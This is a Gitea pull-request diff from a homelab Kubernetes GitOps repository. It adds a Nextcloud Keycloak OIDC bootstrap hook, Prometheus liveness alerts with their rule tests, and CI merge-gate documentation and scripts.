- "# Idempotent Keycloak OIDC wiring (R-IDP-02/06). Runs alongside the nextcloud entrypoint\n# (which installs/upgrades on first boot). Installs+enables the user_oidc app and creates OR\n# updates the \"keycloak\" login provider (occ user_oidc:provider is create-or-update by\n# identifier). Auto-discovery pulls the realm's endpoints; the `groups` claim drives Nextcloud\n# group provisioning. occ runs as www-data (owns config.php); the client secret is passed via\n# --clientsecret-env so it never lands on a command line. Safe to re-run every start; a missing\n# secret or not-yet-installed instance is skipped so the pod never crashloops (the local\n# break-glass admin still works).\nset -u\n# OCC runs occ as www-data (owns config.php). NOTE: this wrapper word-splits its args via $*,\n# so it is used ONLY for single-token subcommands (status/app:list/app:install/...). The\n# provider call below carries a MULTI-WORD value (--scope 'openid email profile') and is run as\n# ONE su -c with the scope single-quoted, so the inner shell keeps it a single argument.\nOCC() { su -s /bin/sh www-data -c \"php /var/www/html/occ $*\"; }\nNEXTCLOUD_DISCOVERY_URL=https://keycloak.${BASE_DOMAIN}/realms/homelab/.well-known/openid-configuration\nnextcloud_oidc_fail() {\n echo \"[nextcloud-oidc] FAILED to configure 'keycloak' provider: $1\" >&2\n { echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) [nextcloud-oidc] FAILED: $1\"; } >> /var/www/html/nextcloud-oidc-bootstrap.log 2>/dev/null || true\n}\n# (a) Wait for the instance to be installed AND out of maintenance mode. The entrypoint holds\n# maintenance mode during first-boot install/upgrade; occ writes made in that window do not\n# stick \u2014 a second race on top of the quoting bug fixed at (c).\ni=0\nuntil OCC status 2>/dev/null | grep -q \"installed: true\" && ! OCC status 2>/dev/null | grep -q \"maintenance: true\"; do\n i=$((i + 1))\n [ \"$i\" -ge 300 ] && { echo \"[nextcloud-oidc] occ not ready (installed/maintenance) after wait; skipping\" >&2; exit 0; }\n sleep 2\ndone\n# Let Nextcloud's OWN server-side HTTP client reach the private-network IdP. The Keycloak\n# FQDN resolves (split-horizon) to the PRIVATE Cilium gateway VIP (RFC1918), and Nextcloud's\n# SSRF guard otherwise REFUSES that request \u2014 OCP\\Http\\Client\\LocalServerException \"violates\n# local access rules\" \u2014 during user_oidc's discovery/JWKS/token fetch AT LOGIN, surfacing to\n# the user as \"Could not reach the provider\". (The (b) curl check below uses system libcurl,\n# NOT this guard, so it passes while the browser login still failed.) Idempotent; re-applied\n# every start so it survives pod rolls / PVC rebuilds. Confirmed root cause 2026-08-27.\nOCC config:system:set allow_local_remote_servers --value=true --type=boolean >/dev/null 2>&1 \\\n || echo \"[nextcloud-oidc] WARN: failed to set allow_local_remote_servers\" >&2\n# NOTE the `$$` escape below \u2014 it is load-bearing. apps-wave-1 declares postBuild.\n# substituteFrom cluster-vars, so Flux envsubst rewrites this whole manifest at RECONCILE\n# time, before any container runs. Written unescaped, `$${NEXTCLOUD_OIDC_CLIENT_SECRET:-}` is\n# not a cluster-var, so envsubst blanked it and the guard reconciled as `[ -z \"\" ]` \u2014 ALWAYS\n# TRUE \u2014 so this hook `exit 0`d here on EVERY boot since 8738871 (2026-08-27), never\n# installing/enabling user_oidc nor registering the provider. SSO kept working only because\n# the provider was already in the DB; a PVC rebuild or fresh cluster would have come up with\n# NO OIDC at all. Flux STRICT substitution cannot catch this \u2014 it EXEMPTS default-operator\n# forms by design. `$${VAR}` is the escape: envsubst emits it back as a plain brace expansion\n# for the shell. Bare `$VAR` and `$(cmd)` are left alone and need NO escaping \u2014 which is why\n# `--clientsecret-env` and the bare uses below always worked and only the guard broke.\n# Contract: clusters/base/apps-vms.yaml. Enforced at render time by catalog/render.py.\nif [ -z \"$${NEXTCLOUD_OIDC_CLIENT_SECRET:-}\" ]; then\n echo \"[nextcloud-oidc]\
\ client secret unset; skipping OIDC (break-glass admin only)\"\n exit 0\nfi\nif ! OCC app:list 2>/dev/null | grep -q \"user_oidc\"; then\n OCC app:install user_oidc || echo \"[nextcloud-oidc] app:install user_oidc failed\" >&2\nfi\nOCC app:enable user_oidc >/dev/null 2>&1 || true\n# (b) Wait up to ~90s for the Keycloak discovery doc to be reachable (HTTP 200) before registering.\nd=0; disc_ok=0\nwhile [ \"$d\" -lt 45 ]; do\n if [ \"$(curl -sS -o /dev/null -w '%{http_code}' --max-time 5 \"$NEXTCLOUD_DISCOVERY_URL\" 2>/dev/null)\" = \"200\" ]; then\n disc_ok=1; break\n fi\n d=$((d + 1)); sleep 2\ndone\n[ \"$disc_ok\" = 1 ] || nextcloud_oidc_fail \"Keycloak discovery endpoint not reachable (HTTP 200) within timeout\"\n# (c) Configure (create-or-update by identifier) then VERIFY it persisted; retry the whole cycle.\n# HARDENED: run as ONE su -c so www-data's shell parses --scope='openid email profile' as a\n# single argument. The previous `OCC user_oidc:provider ... --scope=\"openid email profile\"`\n# form fed the value back through the wrapper's $*, which SPLIT it into extra positionals ->\n# occ \"Too many arguments\" -> silent failure on EVERY boot. Secret via --clientsecret-env\n# (never on argv). The verify-then-retry loop guarantees the provider actually persisted.\nr=0; reg_ok=0\nwhile [ \"$r\" -lt 10 ]; do\n su -s /bin/sh www-data -c \"php /var/www/html/occ user_oidc:provider keycloak \\\n --clientid=nextcloud \\\n --clientsecret-env=NEXTCLOUD_OIDC_CLIENT_SECRET \\\n --discoveryuri=$NEXTCLOUD_DISCOVERY_URL \\\n --scope='openid email profile' \\\n --unique-uid=0 \\\n --mapping-uid=preferred_username \\\n --mapping-email=email \\\n --mapping-display-name=name \\\n --group-provisioning=1 \\\n --mapping-groups=groups\" >/dev/null 2>&1 || true\n if OCC user_oidc:provider 2>/dev/null | grep -q \"keycloak\"; then\n reg_ok=1; break\n fi\n r=$((r + 1)); sleep 3\ndone\nif [ \"$reg_ok\" = 1 ]; then\n echo \"[nextcloud-oidc] provider 'keycloak' configured and verified\"\nelse\n nextcloud_oidc_fail \"user_oidc:provider ran but the provider did not persist after retries\"\nfi\n# (d) Promote Keycloak 'platform-admins' members to Nextcloud admins (#5). user_oidc 8.11 has\n# NO native group->admin mapping (occ user_oidc:provider offers group PROVISIONING and a\n# login WHITELIST only), so mirror the provisioned 'platform-admins' membership into the\n# built-in 'admin' group (the sole source of admin rights in Nextcloud). Idempotent every\n# start: occ group:adduser is a no-op for an existing member. A user is promotable only\n# AFTER their first OIDC login provisions them into the group, so a brand-new admin gains\n# rights on their next login + the following pod start (or run `occ group:adduser admin\n# <uid>` once). The LOCAL break-glass admin is unaffected (docs/15). The group name is\n# passed to php as argv (never interpolated) so group:list JSON parses robustly.\nADMIN_SRC_GROUP=platform-admins\n# HARDENED (verify-and-retry, like step (c)): the previous single pass ran `occ group:adduser`\n# exactly once with its output swallowed (>/dev/null 2>&1) and NO retry, so an early-boot\n# transient failure (DB / maintenance race in the first seconds after container start) silently\n# dropped the promotion until the NEXT pod restart. This loop re-reads group:list and re-adds\n# any platform-admins member still missing from 'admin' until all are verified (bounded ~30s);\n# it is a no-op for members already in 'admin'. Group names are passed to php as argv (never\n# interpolated) so the JSON parses robustly.\nparse_group() { su -s /bin/sh www-data -c \"php /var/www/html/occ group:list --output=json\" 2>/dev/null | php -r '$d=json_decode(stream_get_contents(STDIN),true);$g=$argv[1];if(is_array($d)&&!empty($d[$g])&&is_array($d[$g])){foreach($d[$g] as $u){echo $u,\"\\n\";}}' -- \"$1\" 2>/dev/null; }\np=0\nwhile [ \"$p\" -lt 15 ]; do\n current_admins=$(parse_group admin)\n missing=0\n for uid in $(parse_group \"$ADMIN_SRC_GROUP\"\
); do\n if printf '%s\\n' \"$current_admins\" | grep -qxF -- \"$uid\"; then\n continue\n fi\n missing=1\n if OCC group:adduser admin \"$uid\" >/dev/null 2>&1; then\n echo \"[nextcloud-oidc] ensured '$uid' is a Nextcloud admin (member of $ADMIN_SRC_GROUP)\"\n fi\n done\n [ \"$missing\" = 0 ] && break\n p=$((p + 1)); sleep 2\ndone\nif [ \"$p\" -ge 15 ]; then\n nextcloud_oidc_fail \"could not promote all $ADMIN_SRC_GROUP members into 'admin' after retries\"\nfi\n# A postStart hook MUST exit 0. A non-zero exit makes the kubelet KILL the container\n# (FailedPostStartHook -> CrashLoopBackOff), which is exactly what happened on 2026-09-01:\n# the final statement used to be `[ \"$p\" -ge 15 ] && nextcloud_oidc_fail ...`, so on the\n# SUCCESS path the test returned 1 and became the script's exit status. That was latent for\n# as long as the OIDC guard above was dead code and exited 0 first; fixing the guard\n# exposed it immediately. Every failure path here logs loudly and writes a marker file and\n# deliberately does NOT crash the pod \u2014 the break-glass local admin must stay usable.\nexit 0\n"
volumes:
- name:data
persistentVolumeClaim:
claimName:nextcloud-data
- name:legacy-archive
persistentVolumeClaim:
claimName:nextcloud-legacy-archive
---
# Service
apiVersion:v1
@@ -205,6 +258,10 @@ spec:
egress:
- toEntities:
- world
- toEndpoints:
- matchLabels:
io.kubernetes.pod.namespace:keycloak
app:keycloak
---
# HTTPRoute nextcloud-80 (R-TLS/R-DNS)
apiVersion:gateway.networking.k8s.io/v1
@@ -223,7 +280,7 @@ spec:
namespace:gateway
sectionName:https
hostnames:
- nextcloud.home.keithjackson.dev
- nextcloud.${BASE_DOMAIN}
rules:
- matches:
- path:
@@ -233,26 +290,6 @@ spec:
- name:nextcloud
port:80
---
# ServiceMonitor (R-OBS-01)
apiVersion:monitoring.coreos.com/v1
kind:ServiceMonitor
metadata:
name:nextcloud
namespace:nextcloud
labels:
release:kube-prometheus-stack
app.kubernetes.io/name:nextcloud
spec:
selector:
matchLabels:
app.kubernetes.io/name:nextcloud
namespaceSelector:
matchNames:
- nextcloud
endpoints:
- port:metrics
interval:30s
---
# PrometheusRule SLI alerts (R-OBS-01)
apiVersion:monitoring.coreos.com/v1
kind:PrometheusRule
@@ -267,11 +304,11 @@ spec:
- name:nextcloud.slis
rules:
- alert:nextcloud-down
expr:up{job="nextcloud"} == 0
expr:kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"} == 0 or absent(kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"})
for:5m
labels:
severity:critical
service:nextcloud
annotations:
summary:nextcloud is down
description:'nextcloud has been unreachable for 5m (SLI:up).'
description:'nextcloud:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
expr:kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"})
for:5m
labels:
severity:critical
service:radarr
annotations:
summary:radarr is down
description:'radarr has been unreachable for 5m (SLI:up).'
description:'radarr:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
expr:kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"} == 0 or absent(kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"})
for:5m
labels:
severity:critical
service:semaphore
annotations:
summary:semaphore is down
description:'semaphore has been unreachable for 5m (SLI:up).'
description:'semaphore:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
expr:kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"})
for:5m
labels:
severity:critical
service:sonarr
annotations:
summary:sonarr is down
description:'sonarr has been unreachable for 5m (SLI:up).'
description:'sonarr:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
description:"keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
description:"nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:radarr-down
exp_alerts:
- exp_labels:
severity:critical
service:radarr
namespace:radarr
deployment:radarr
exp_annotations:
summary:"radarr is down"
description:"radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:semaphore-down
exp_alerts:
- exp_labels:
severity:critical
service:semaphore
namespace:semaphore
deployment:semaphore
exp_annotations:
summary:"semaphore is down"
description:"semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:sonarr-down
exp_alerts:
- exp_labels:
severity:critical
service:sonarr
namespace:sonarr
deployment:sonarr
exp_annotations:
summary:"sonarr is down"
description:"sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
name:wave-1 all liveness series ABSENT (kube-state-metrics gone) - every rule fires
input_series:
# One unrelated series so the test has an input at all; no wave-1 liveness series exists.
- series:'up{job="kube-state-metrics"}'
values:'0+0x20'
alert_rule_test:
- eval_time:10m
alertname:keycloak-down
exp_alerts:
- exp_labels:
severity:critical
service:keycloak
namespace:keycloak
statefulset:keycloak
exp_annotations:
summary:"keycloak is down"
description:"keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
- eval_time:10m
alertname:nextcloud-down
exp_alerts:
- exp_labels:
severity:critical
service:nextcloud
namespace:nextcloud
deployment:nextcloud
exp_annotations:
summary:"nextcloud is down"
description:"nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:radarr-down
exp_alerts:
- exp_labels:
severity:critical
service:radarr
namespace:radarr
deployment:radarr
exp_annotations:
summary:"radarr is down"
description:"radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:semaphore-down
exp_alerts:
- exp_labels:
severity:critical
service:semaphore
namespace:semaphore
deployment:semaphore
exp_annotations:
summary:"semaphore is down"
description:"semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
- eval_time:10m
alertname:sonarr-down
exp_alerts:
- exp_labels:
severity:critical
service:sonarr
namespace:sonarr
deployment:sonarr
exp_annotations:
summary:"sonarr is down"
description:"sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
expr:kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"})
for:5m
labels:
severity:critical
service:seerr
annotations:
summary:seerr is down
description:'seerr has been unreachable for 5m (SLI:up).'
description:'seerr:its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI:up, via kube_deployment_status_replicas_available).'
description:"seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
# Under `for: 5m` a 2m-old condition must NOT yet be a firing alert, but the expression must
# already be selecting — the distinction an inert rule cannot make.
promql_expr_test:
- expr:'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"})'
name:wave-2 seerr liveness series ABSENT - seerr-down still fires
input_series:
- series:'up{job="kube-state-metrics"}'
values:'1+0x20'
alert_rule_test:
- eval_time:10m
alertname:seerr-down
exp_alerts:
- exp_labels:
severity:critical
service:seerr
namespace:seerr
deployment:seerr
exp_annotations:
summary:"seerr is down"
description:"seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
| `bootstrap.sh` | **The single bootstrap entrypoint** the Infra worker's final Ansible play calls. `flux install` → verify `sops-age` Secret → `kubectl apply -k clusters/dev`. |
| `bootstrap.sh` | **The single bootstrap entrypoint** the Infra worker's final Ansible play calls. render+apply the Flux controllers (`components/`) → verify `sops-age` Secret → `kubectl apply -k clusters/dev`. |
| `components/kustomization.yaml` | **Customization of the Flux CONTROLLERS themselves.** Overlays `flux install --export` output; currently enables `StrictPostBuildSubstitutions` on kustomize-controller. See "Customizing the controllers" below. |
| `patches/platform-sops-decryption.yaml` | Strategic-merge patch enabling `decryption.provider: sops` + `secretRef: sops-age` on the `platform` Kustomization (realises the base TODO). |
| `patches/apps-sops-decryption.yaml` | Same, for the `apps` Kustomization. |
| `patches/apps-sops-decryption.yaml` | Same, for the app-wave Kustomizations. There is **no single `apps` Kustomization** any more — the apps tier is now `apps-wave-0/1/2` + `apps-vms`, and SOPS decryption is layered on **per wave** (each wave Kustomization is patched by name in `clusters/dev`). |
| `patches/flux-system-source-url.yaml` | Overrides the `flux-system` GitRepository `url` placeholder with the real bootstrap source (template — fill at bootstrap). |
## Customizing the controllers (`components/`) — and how it reaches a RUNNING cluster
Because this repo does not use `flux bootstrap`, the Flux controller Deployments are **not in git
and not reconciled by Flux**. Verified on the live dev cluster (2026-09-01):
```
$ kubectl -n flux-system get deploy kustomize-controller -o jsonpath='{.metadata.labels}'
with no cluster, or an unwired seam / missing tool). A `3` is **never** counted as green — that is how
the gate stays honest in Phase 0 (no fake green).
### The gate's OWN verdict (changed 2026-09-13 — read this if you consume the exit code)
**`MERGE GATE: PASS` + exit 0 means every stage that was supposed to run RAN and was GREEN.** It
used to mean less than that: a FAILED stage set the block flag but a SKIPPED one only printed a
warning, so the gate printed `l0: skipped (unwired seam / missing tool) — not green` and then
`MERGE GATE: PASS`, exit 0. That happened for real twice — a missing `promtool` (the alert-rule
unit tests) and a missing pinned `kyverno` CLI — and exit 0 is what automation reads as
merge-approved. Fail-open in the one component whose whole job is to fail closed.
| verdict | exit | meaning |
|---|---|---|
| `MERGE GATE: PASS` | `0` | every stage that was supposed to run ran and was green; the R-TEST-03 subset was checked. Any capability the environment **declared** out of scope is **named in the headline** (see below), so a PASS never implies more than it verified. |
| `MERGE GATE: BLOCKED` | `1` | a stage FAILED, or a stage did not run **where it must**, or the decision input is unusable. |
| `MERGE GATE: UNDETERMINED` | `3` | nothing failed, but a stage did not run, so greenness was **not established**. Never a pass; non-zero so nothing can read it as approval. `3` is this repo's existing "not run" code, now spoken by the gate as a whole and not only by its stages. |
| `MERGE GATE: NOT APPLICABLE` | `0` | there is no branch under gate at all (`HEAD` is on base — a push-to-`main` run). Stages ran; no subset was checked, and the headline says so. |
Precedence: BLOCKED > UNDETERMINED > NOT APPLICABLE > PASS.
**`make` masks the difference.** GNU make reports any recipe failure as its own exit `2`, so
`make -C ci gate` collapses `1` and `3` into `2` (the headline still tells a human which it was). A
caller that must distinguish them invokes `./ci/gate.sh` directly.
### Which skips block, and why — a skip is not one thing
| stage | a skip there means | verdict |
|---|---|---|
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no**`REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite**`CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
`GATE_STRICT_SKIPS=true|false` decides strictness and is **declared, never sniffed** — `gate.yml`
sets it on the gate step, because the workflow is the thing that knows it is CI. Unset, it falls
back to `GITHUB_ACTIONS` / `CI` (set by the runner itself). A wrong answer in either direction
cannot fail open: both branches are non-zero and neither is a PASS. Set it locally to rehearse CI
strictness.
Locked down by `ci/tests/gate-decision.test.sh` (47 assertions over the decision table: stubbed
stage outcomes against the real `gate.sh`; 32 of them fail against the pre-2026-09-13 gate).
### The touched-requirement subset can also be *undeterminable* (exit 3)
`touched-requirements.sh` is the input to the R-TEST-03 decision. It resolves a diff base in this
order, **verifying each candidate exists** before using it:
If no candidate resolves, if there is no merge base, if the diff command fails, or if **HEAD is not
ahead of the base** (you are sitting on `main`, or the branch is already merged), it prints a loud
banner, writes **nothing** to stdout, and exits **3** — plus a machine-readable reason code
(`on-base` / `no-base` / `diff-failed`) to `$TOUCHED_REASON_FILE` when that variable names a path.
**Why this is not cosmetic.** Every one of those conditions used to degrade *silently* to an empty
touched set and exit 0. An empty set means `conformance/run.sh` is invoked with no `--requirements`,
which means its coverage `--require` gate never runs — so on 2026-08-31 the local gate printed
`MERGE GATE: PASS` having checked nothing, while CI (correct base, 17 touched requirements) BLOCKED
on real coverage debt. There is no silent narrowing left: the `HEAD~1` last resort and the two-dot
diff fallback are both gone. Locked down by `ci/tests/touched-requirements-base.test.sh`.
`gate.sh` turns exit 3 into an **UNDECIDED** merge decision, never a pass:
| reason | headline | exit |
|---|---|---|
| `on-base` | `MERGE GATE: NOT APPLICABLE — no branch under gate` | 0 (a push-to-`main` CI run legitimately lands here; it just must not read as "my branch is green") |
| `no-base`, `diff-failed` | `MERGE GATE: BLOCKED` | 1 (the environment cannot support a merge decision; refusing to decide must not look like deciding yes) |
A stage that needs the subset (`l0.sh`, `l1.sh`) still runs its FULL layer as a superset sanity net
in that case — nothing goes untested — and says plainly that the *scoped* check did not happen.
## Reproducibility (R-TEST-02)
- **Version-pinned:** all tool versions live in [`versions.env`](versions.env) — the single source of
@@ -43,16 +158,21 @@ the gate stays honest in Phase 0 (no fake green).
err "TOUCHED-REQUIREMENT SET NOT DETERMINABLE (${code})"
err " reason: $*"
err " consequence: the R-TEST-03 coverage gate CANNOT be applied to this checkout."
err " This is exit 3 (SKIPPED / not-run), never a pass — see ci/README.md."
err " Fix one of:"
err " * check out the feature branch you mean to gate (not the base branch), or"
err " * git fetch origin main (so origin/main exists and is current), or"
err " * BASE_REF=<ref> make -C ci gate to name the base explicitly."
exit3
}
resolve_base(){
local cand
if[ -n "$BASE_REF"];then
if rev "$BASE_REF" >/dev/null;thenBASE="$BASE_REF";BASE_SOURCE="BASE_REF";return 0;fi
BASE_PROBLEM="BASE_REF='${BASE_REF}' does not resolve to a commit in ${REPO_ROOT}"
return1
fi
if[ -n "${GITHUB_BASE_REF:-}"];then
for cand in "origin/${GITHUB_BASE_REF}""${GITHUB_BASE_REF}";do
if rev "$cand" >/dev/null;thenBASE="$cand";BASE_SOURCE="GITHUB_BASE_REF";return 0;fi
done
BASE_PROBLEM="GITHUB_BASE_REF='${GITHUB_BASE_REF}' is set, but neither 'origin/${GITHUB_BASE_REF}' nor '${GITHUB_BASE_REF}' exists here (shallow checkout? the workflow needs fetch-depth: 0)"
return1
fi
for cand in origin/main main;do
if rev "$cand" >/dev/null;thenBASE="$cand";BASE_SOURCE="default";return 0;fi
done
BASE_PROBLEM="no base ref resolves (tried origin/main, main) in ${REPO_ROOT}"
return1
}
# Both diff helpers assume BASE is already resolved and validated by main(). They return
# git's exit status so the CALLER can distinguish "no changes" from "the diff failed" —
# conflating those two is exactly what produced the false green.
changed_files(){
local base;base="$(resolve_base)"
# Three-dot: changes on this branch since it diverged from base.
if git -C "$REPO_ROOT" diff --name-only "${base}...HEAD" 2>/dev/null;thenreturn;fi
warn "local 'main' (${local_main:0:12}) != origin/main (${base_sha:0:12}) — if origin/main"
warn " was not fetched recently the touched set may be stale: git fetch origin main"
fi
merge_base="$(git -C "$REPO_ROOT" merge-base "$BASE" HEAD 2>/dev/null)"\
|| undecidable no-base "no merge base between '${BASE}' and HEAD (unrelated histories, or a shallow clone)"
if["$merge_base"="$head_sha"];then
undecidable on-base "HEAD is not ahead of '${BASE}' (merge-base == HEAD): this checkout contains no branch commits to gate. The empty touched set would be empty BY DEFAULT, not by verification."
# Why that is acceptable here — and it is NOT the platform/cilium case:
# * Neither object is the sole (or any) declarer of a shared object. No Namespace, no ConfigMap,
# nothing else in the repo declares a StorageProfile. The stale set is exactly two
# cluster-scoped CDI CRs.
# * The objects do not actually go missing: CDI's storageprofile-controller creates a
# StorageProfile per StorageClass and recreates a deleted one, with an EMPTY `.spec` and
# inferred `.status`. So the transient is "our .spec overrides are absent", not "the object is
# absent".
# * A StorageProfile is read at DataVolume/PVC PROVISIONING and CLONE time only. Existing PVCs,
# existing DataVolumes and running VMs do not consult it again, so nothing already provisioned
# is disturbed and no data path is touched.
# * The only exposure is a DataVolume/clone STARTED inside the window: it would clone by `copy`
# instead of `snapshot`, and on `longhorn-vm` be stamped RWO/Filesystem instead of RWX/Block —
# permanently non-live-migratable for that disk. Flux cannot cause that, because `apps-vms` now
# dependsOn THIS tier (clusters/base/apps-vms.yaml), so no Flux-managed DataVolume can be
# created while the overrides are absent. A human running `virtctl`/`kubectl` in that minute
# could.
#
# PRECONDITION THE OPERATOR MUST CHECK, because it is what bounds the window: the recreate cannot
# happen until `platform-config` is Ready, and platform-config runs `wait: true` over the whole
# config tier (ClusterIssuers, wildcard Certificate, Gateway, Keycloak, CNPG, KubeVirt, CDI…). On a
# healthy cluster that is seconds and the window is ~30-60s (kustomize-controller's
# --requeue-dependency default is 30s). If platform-config is NOT Ready when this merges, the
# StorageProfiles are pruned and stay at CDI defaults until it recovers. So:
# `flux get kustomization platform-config` must be Ready BEFORE merging.
# If it is not, do the two-step the cilium move used instead: merge with `platform-config.prune`
# temporarily set to `false` (the objects are then dropped from its inventory but NOT deleted, and
# this tier ADOPTS them with zero window), verify the ownership label transferred, then restore
# `prune: true` in a second commit.
Loaded 100 of 538 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
jakman85andClaude Opus 5
gitea-admin